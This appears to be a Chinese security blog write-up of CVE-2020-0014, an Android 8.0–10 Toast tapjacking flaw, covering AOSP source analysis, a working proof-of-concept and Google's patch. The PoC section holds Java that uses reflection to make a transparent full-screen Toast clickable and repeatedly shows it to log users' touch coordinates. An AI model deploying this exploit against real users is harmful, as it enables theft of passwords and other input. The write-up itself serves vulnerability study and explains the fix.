文章目录
- 前言
- 漏洞分析
- 组件源码
- 触摸属性
- 漏洞利用
- POC分析
- 漏洞复现
- 漏洞修复
- 总结
前言
Toast 组件是 Android 系统一个消息提示组件,比如你可以通过以下代码弹出提示用户“该睡觉了…”:
Toast.makeText(this, "该睡觉了…", Toast.LENGTH_SHORT).show();
2020年2月,谷歌安全公告 中修复了该组件一个高危漏洞,影响范围 Android 8.0 - 10:
来看下 美国国家漏洞库NVD 对该漏洞的简单描述:
对应翻译成中文大概就是说:“恶意应用程序可能会手动构建 TYPE_TOAST 窗口并使该窗口可单击。这可能会导致本地权限升级,而无需额外的执行权限”。
看到这可能也无法理解 Toast 组件可“点击”又如何,能构成什么漏洞?参考安全客某大佬发的分析文章 “通过安卓最新 Toast 漏洞进行 Tapjacking” 可以进一步了解到:“该漏洞可使恶意 App 通过构造一个可被点击的 Toast 视图来截获用户在屏幕上的操作,以达到搜集用户密码等敏感信息的目的”。Interesting,分析并学习一下!
漏洞分析
理解漏洞的产生根因可以从源码入手,理解以下代码从调用到弹出提示框,系统都经历了哪些流程。
Toast.makeText(context, text, duration).show()
组件源码
可以到 http://aospxref.com/ 查询 Andorid 8.0-10 的源码(比如 makeText 函数的源码位置),或者从配置了 SDK (API 28-30) 的 Android Studio 中即可查看源码 android/widget/Toast.java
:
//http://aospxref.com/android-8.1.0_r81/xref/frameworks/base/core/java/android/widget/Toast.java#104
/**
* Make a standard toast that just contains text.
*
* @param context The context to use. Usually your {@link android.app.Application}
* or {@link android.app.Activity} object.
* @param text The text to show. Can be formatted text.
* @param duration How long to display the message. Either {@link #LENGTH_SHORT} or
* {@link #LENGTH_LONG}
*
*/
public static Toast makeText(Context context, CharSequence text, @Duration int duration) {
return makeText(context, null, text, duration);
}
/**
* Make a standard toast to display using the specified looper.
* If looper is null, Looper.myLooper() is used.
*
* @hide
*/
public static Toast makeText(@NonNull Context context, @Nullable Looper looper,
@NonNull CharSequence text, @Duration int duration) {
if (Compatibility.isChangeEnabled(CHANGE_TEXT_TOASTS_IN_THE_SYSTEM)) {
Toast result = new Toast(context, looper);
result.mText = text;
result.mDuration = duration;
return result;
} else {
Toast result = new Toast(context, looper);
View v = ToastPresenter.getTextToastView(context, text);
result.mNextView = v;
result.mDuration = duration;
return result;
}
}
可以看到 makeText 方法会调用 Toast 构造函数生成一个实例,并构造一个 TextView 作为 Toast 的内容视图,再进一步跟进看下 Toast 的构造函数:
/**
* Constructs an empty Toast object. If looper is null, Looper.myLooper() is used.
* @hide
*/
public Toast(@NonNull Context context, @Nullable Looper looper) {
mContext = context;
mToken = new Binder();
looper = getLooper(looper);
mHandler = new Handler(looper);
mCallbacks = new ArrayList<>();
mTN = new TN(context, context.getPackageName(), mToken,
mCallbacks, looper);
mTN.mY = context.getResources().getDimensionPixelSize(
com.android.internal.R.dimen.toast_y_offset);
mTN.mGravity = context.getResources().getInteger(
com.android.internal.R.integer.config_toastDefaultGravity);
}
Toast 构造方法主要是实例化 Toast 的私有内部类 TN,再来看 TN 的构造方法:
/**
* Creates a {@link ITransientNotification} object.
*
* The parameter {@code callbacks} is not copied and is accessed with itself as its own
* lock.
*/
TN(String packageName, @Nullable Looper looper) {
// XXX This should be changed to use a Dialog, with a Theme.Toast
// defined that sets up the layout params appropriately.
final WindowManager.LayoutParams params = mParams;
params.height = WindowManager.LayoutParams.WRAP_CONTENT;
params.width = WindowManager.LayoutParams.WRAP_CONTENT;
params.format = PixelFormat.TRANSLUCENT;
params.windowAnimations = com.android.internal.R.style.Animation_Toast;
params.type = WindowManager.LayoutParams.TYPE_TOAST;
params.setTitle("Toast");
params.flags = WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
| WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
| WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
mPackageName = packageName;
if (looper == null) {
// Use Looper.myLooper() if looper is not specified.
looper = Looper.myLooper();
if (looper == null) {
throw new RuntimeException(
"Can't toast on a thread that has not called Looper.prepare()");
}
}
mHandler = new Handler(looper, null) {
@Override
public void handleMessage(Message msg) {
switch (msg.what) {
case SHOW: {
IBinder token = (IBinder) msg.obj;
handleShow(token);
break;
}
case HIDE: {
handleHide();
// Don't do this in handleHide() because it is also invoked by
// handleShow()
mNextView = null;
break;
}
case CANCEL: {
handleHide();
// Don't do this in handleHide() because it is also invoked by
// handleShow()
mNextView = null;
try {
getService().cancelToast(mPackageName, TN.this);
} catch (RemoteException e) {
}
break;
}
}
}
};
}
TN 对象构造函数主要对 mParams 进行了初始化,赋值了一些系列默认属性如 param.type 为 TYPE_TOAST,尤其还注意到 params.flag 属性的默认选项 FLAG_NOT_TOUCHABLE,这个选项设置后显示出的 Toast 不会接收任何触摸事件(后面会补充解释)。
此外还可看出 TN 对象是实际上的 Toast 控制者,负责实现处理 Toast 显示、隐藏、取消的方法。但是在当前例子中我们只关心 Toast 的显示,即 TN 对象的 show() 方法,show() 方法最终又会被走到 handleShow() 方法中:
public void handleShow(IBinder windowToken) {
if (localLOGV) Log.v(TAG, "HANDLE SHOW: " + this + " mView=" + mView
+ " mNextView=" + mNextView);
// If a cancel/hide is pending - no need to show - at this point
// the window token is already invalid and no need to do any work.
if (mHandler.hasMessages(CANCEL) || mHandler.hasMessages(HIDE)) {
return;
}
if (mView != mNextView) {
// remove the old view if necessary
handleHide();
mView = mNextView;
Context context = mView.getContext().getApplicationContext();
String packageName = mView.getContext().getOpPackageName();
if (context == null) {
context = mView.getContext();
}
mWM = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
// We can resolve the Gravity here by using the Locale for getting
// the layout direction
final Configuration config = mView.getContext().getResources().getConfiguration();
final int gravity = Gravity.getAbsoluteGravity(mGravity, config.getLayoutDirection());
mParams.gravity = gravity;
if ((gravity & Gravity.HORIZONTAL_GRAVITY_MASK) == Gravity.FILL_HORIZONTAL) {
mParams.horizontalWeight = 1.0f;
}
if ((gravity & Gravity.VERTICAL_GRAVITY_MASK) == Gravity.FILL_VERTICAL) {
mParams.verticalWeight = 1.0f;
}
mParams.x = mX;
mParams.y = mY;
mParams.verticalMargin = mVerticalMargin;
mParams.horizontalMargin = mHorizontalMargin;
mParams.packageName = packageName;
mParams.hideTimeoutMilliseconds = mDuration ==
Toast.LENGTH_LONG ? LONG_DURATION_TIMEOUT : SHORT_DURATION_TIMEOUT;
mParams.token = windowToken;
if (mView.getParent() != null) {
if (localLOGV) Log.v(TAG, "REMOVE! " + mView + " in " + this);
mWM.removeView(mView);
}
if (localLOGV) Log.v(TAG, "ADD! " + mView + " in " + this);
// Since the notification manager service cancels the token right
// after it notifies us to cancel the toast there is an inherent
// race and we may attempt to add a window after the token has been
// invalidated. Let us hedge against that.
try {
mWM.addView(mView, mParams);
trySendAccessibilityEvent();
} catch (WindowManager.BadTokenException e) {
/* ignore */
}
}
}
从 handleShow 的实现可以看到 Toast 的本质上是获取到系统的服务 WindowManager ,然后通过调用 WindowManager 的 addView 直接将视图显示出来。
此处 WindowManager.addView 的第二个参数为 WindowManager.LayoutParams ,前面提到初始化的 mParams.flags 里包含一个选项 FLAG_NOT_TOUCHABLE 使得 Toast 在默认情况下不能接受触摸事件,但如果我们通过反射的方式,在 Toast 调用 show() 方法之前就将 mParams.flags 中的 FLAG_NOT_TOUCHABLE
选项清除掉,那我们便能获得一个可以监听触摸事件的的 Toast 了,这便是该漏洞的成因。
触摸属性
在前面的文章:Android安全与隐私相关特性的行为变更分析 中,分析 Android 12 新增特性时我简单介绍过 Android 12 通过限制 FLAG_NOT_TOUCHABLE
属性来限制悬浮窗点击透传事件导致的漏洞。
简单来说,FLAG_NOT_TOUCHABLE
属性可以将 Window 设置为永不接收触摸事件,从而能够将触摸事件透传给蒙层遮盖住的下层区域,不阻塞用户操作。但是这种点击事件的透传由引发了一系列点击劫持类型的漏洞(详情请参见:不可点击观察的威胁:Android中的不可点击的劫持攻击),所以谷歌限制设置了FLAG_NOT_TOUCHABLE
属性的组件的点击透传的场景。
换句话说,由于 Toast 组件默认是设置 FLAG_NOT_TOUCHABLE
属性的,所以你能看到发生 Toast 弹窗的时候,并不会影响你透过 Toast 弹窗所在的位置进一步点击手机屏幕、完成你想干的点击事件。但是, FLAG_NOT_TOUCHABLE
属性带来的点击事件透传导致的劫持漏洞,正是因为恶意悬浮窗设置了该属性,目前咱们讨论的 CVE-2020-0014 漏洞,为什么反而要去通过反射修改掉 FLAG_NOT_TOUCHABLE
属性呢?
原因在于如果将FLAG_NOT_TOUCHABLE
选项清除掉,那我们便能获得一个可以监听触摸事件的 Toast 了,而监听触摸事件又能实现监听用户点击屏幕的坐标位置,从而猜测用户的操作,比如输入的密码数据。具体危害下文的漏洞利用和复现环节将加以直观地体现。
漏洞利用
分析完漏洞根因,下面开始看看如何验证、利用该漏洞。已有大佬已完整将 POC 开源到 Github:CVE-2020-0014-Toast,按需自取,不过由于本人复现过程发现验证失败,故自行做了代码更新,详见下文。
POC分析
从 Toast 类出发,找到需要反射修改目标参数 mTN 和 mParams,如下所示:
public Class Toast {
// --- snip --- //
final TN mTN;
// --- snip --- //
private static class TN extends ITransientNotification.Stub {
@UnsupportedAppUsage(maxTargetSdk = Build.VERSION_CODES.P)
private final WindowManager.LayoutParams mParams = new WindowManager.LayoutParams();
// --- snip --- //
}
}
以下是弹出可监听触摸事件的 Toast 的关键代码:
public class ClickToast {
public static void showToast(final Context context, int duration) {
Toast mToast = null;
if (mToast == null) {
MyTextView view = new MyTextView(context);
view.setText("nothing");
view.setAlpha(0);
mToast = Toast.makeText(context.getApplicationContext(), "hacker", duration);
mToast.setGravity(Gravity.TOP, 0, 0);
mToast.setView(view);
}
try {
Object mTN;
mTN = getField(mToast, "mTN"); // Toast.mTN
if (mTN != null) {
Object mParams = getField(mTN, "mParams"); // TN.mParams
if (mParams != null && mParams instanceof WindowManager.LayoutParams) {
WindowManager.LayoutParams params = (WindowManager.LayoutParams) mParams;
//去掉FLAG_NOT_TOUCHABLE 使Toast可点击
params.flags = WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE ;
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
}
}
} catch (Exception e) {
e.printStackTrace();
}
mToast.show();
}
//反射调用,将hide类型的私有属性修改为可访问状态
private static Object getField(Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Field field = object.getClass().getDeclaredField(fieldName);
if (field != null) {
field.setAccessible(true);
return field.get(object);
}
return null;
}
}
主要方法就是通过反射的方式来修改 Toast 对象的TN对象的 mParams 属性,清除其 FLAG_NOT_TOUCHABLE 选项,并且将 Toast 布满屏幕,且设为全透明。
其中 MyTextView 类为自定义视图类,重写了 dispatchTouchEvent 方法来打印触摸坐标信息的日志。
public class MyTextView extends androidx.appcompat.widget.AppCompatTextView {
public MyTextView(Context context) {
super(context);
}
@Override
public boolean dispatchTouchEvent(MotionEvent ev) {
float x = ev.getX();
float y = ev.getY();
Log.d("LittleLisk", String.format("x:%f, y:%f", x, y));
return false;
}
}
作为恶意 App 我们还需要设定一个弹出触摸信息记录 Toast 的时机,简单起见,我采用在 MainActivity 中循环创建一个新的子线程来周期性弹出全透明 Toast 以窃取用户触摸信息( Github 上给出的 POC 是通过启动一个 Service 来周期性弹出全透明 Toast 以窃取用户触摸信息,但是我复现失败了)。
while (true){
try {
Thread.sleep(3500);
new Thread(() -> {
Looper.prepare();
Log.e(TAG, "begin");
ClickToast.showToast(this, Toast.LENGTH_SHORT);
Looper.loop();
}).start();
} catch (Exception e) {
e.printStackTrace();
}
}
以上便完成了 POC 的整体逻辑实现代码,下面来进行漏洞复现和验证。
漏洞复现
复现环境:Nexus 6 模拟器,Andorid 8.0
此处我模拟的是监听拨打电话的键盘的输入,可以看到最终的实际效果是:用户点击拨号键盘的时候,点击几次按键“1”,将有部分触摸事件点击到透明的 Toast 上并被记录下具体坐标信息,而其他点击事件将正常传递到拨号键盘上(因为刚好在 Toast 消失的时间窗口发生了点击,从而不会被 Toast 覆盖并截获点击事件)。
进一步的可以选择监听用户网银键盘的安全输入事件,危害自然就上来了,我想这也是这个漏洞被 Google 认定为高危漏洞的原因。
漏洞修复
来看下 Google 官方给出的 补丁修复方案:
具体代码修改位于 DisplayPolicy.java 的 adjustWindowParamsLw 函数当中:
/**
* Sanitize the layout parameters coming from a client. Allows the policy
* to do things like ensure that windows of a specific type can't take
* input focus.
*
* @param attrs The window layout parameters to be modified. These values
* are modified in-place.
*/
public void adjustWindowParamsLw(WindowState win, WindowManager.LayoutParams attrs,
int callingPid, int callingUid) {
final boolean isScreenDecor = (attrs.privateFlags & PRIVATE_FLAG_IS_SCREEN_DECOR) != 0;
if (mScreenDecorWindows.contains(win)) {
if (!isScreenDecor) {
// No longer has the flag set, so remove from the set.
mScreenDecorWindows.remove(win);
}
} else if (isScreenDecor && hasStatusBarServicePermission(callingPid, callingUid)) {
mScreenDecorWindows.add(win);
}
switch (attrs.type) {
case TYPE_SYSTEM_OVERLAY:
case TYPE_SECURE_SYSTEM_OVERLAY:
// These types of windows can't receive input events.
attrs.flags |= WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
| WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
attrs.flags &= ~WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
break;
case TYPE_DREAM:
case TYPE_WALLPAPER:
// Dreams and wallpapers don't have an app window token and can thus not be
// letterboxed. Hence always let them extend under the cutout.
attrs.layoutInDisplayCutoutMode = LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES;
break;
case TYPE_STATUS_BAR:
// If the Keyguard is in a hidden state (occluded by another window), we force to
// remove the wallpaper and keyguard flag so that any change in-flight after setting
// the keyguard as occluded wouldn't set these flags again.
// See {@link #processKeyguardSetHiddenResultLw}.
if (mService.mPolicy.isKeyguardOccluded()) {
attrs.flags &= ~WindowManager.LayoutParams.FLAG_SHOW_WALLPAPER;
attrs.privateFlags &= ~WindowManager.LayoutParams.PRIVATE_FLAG_KEYGUARD;
}
break;
case TYPE_SCREENSHOT:
attrs.flags |= WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
break;
case TYPE_TOAST:
// While apps should use the dedicated toast APIs to add such windows
// it possible legacy apps to add the window directly. Therefore, we
// make windows added directly by the app behave as a toast as much
// as possible in terms of timeout and animation.
if (attrs.hideTimeoutMilliseconds < 0
|| attrs.hideTimeoutMilliseconds > TOAST_WINDOW_TIMEOUT) {
attrs.hideTimeoutMilliseconds = TOAST_WINDOW_TIMEOUT;
}
// Accessibility users may need longer timeout duration. This api compares
// original timeout with user's preference and return longer one. It returns
// original timeout if there's no preference.
attrs.hideTimeoutMilliseconds = mAccessibilityManager.getRecommendedTimeoutMillis(
(int) attrs.hideTimeoutMilliseconds,
AccessibilityManager.FLAG_CONTENT_TEXT);
attrs.windowAnimations = com.android.internal.R.style.Animation_Toast;
// Toast can show with below conditions when the screen is locked.
if (canToastShowWhenLocked(callingPid)) {
attrs.flags |= WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED;
}
// Toasts can't be clickable
attrs.flags |= WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
break;
}
if (attrs.type != TYPE_STATUS_BAR) {
// The status bar is the only window allowed to exhibit keyguard behavior.
attrs.privateFlags &= ~WindowManager.LayoutParams.PRIVATE_FLAG_KEYGUARD;
}
}
可以看到在处理 TYPE_TOAST 的分支中,flags 属性被强制加上了 FLAG_NOT_TOUCHABLE
标记,而 adjustWindowParamsLw()
方法在 WindowManager.addView()
方法(前面源码分析章节最末尾的 handleShow 函数中调用了该方法)的过程中,即发生在恶意 App 清除FLAG_NOT_TOUCHABLE
标记之后。故该补丁能强制使 Toast 在显示的时候处于不可点击状态,消除了风险。
总结
不得不说这个漏洞的思路还是很新奇的,POC 通过反射动态修改 Android 原生组件的属性,造成了监听并窃取用户屏幕或键盘输入的危害,整个利用链路很值得学习。About more,Android 其它组件是否可能存在类似漏洞呢?待进一步分析,如果捕获到 0day 一定跟大家分享(机会总是给敢于“异想天开”的人的hh)!
本文参考:
- 通过安卓最新 Toast 漏洞进行 Tapjacking;
- 谷歌安全公告 和 Google 官方补丁修复方案。